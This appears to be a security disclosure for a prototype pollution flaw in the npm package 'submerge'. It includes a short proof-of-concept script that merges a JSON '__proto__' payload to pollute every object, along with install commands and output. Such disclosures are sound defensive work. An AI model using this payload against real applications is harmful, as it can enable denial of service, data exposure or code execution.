Description

submerge is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

Create the following PoC file:

// poc.js
var merge = require("submerge")
let obj = {}
let payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}')
console.log("Before : " + {}.polluted);
merge(obj, payload);
console.log("After : " + {}.polluted);

Execute the following commands in another terminal:

npm i submerge  # Install affected module
node poc.js # Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted

Impact

May result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.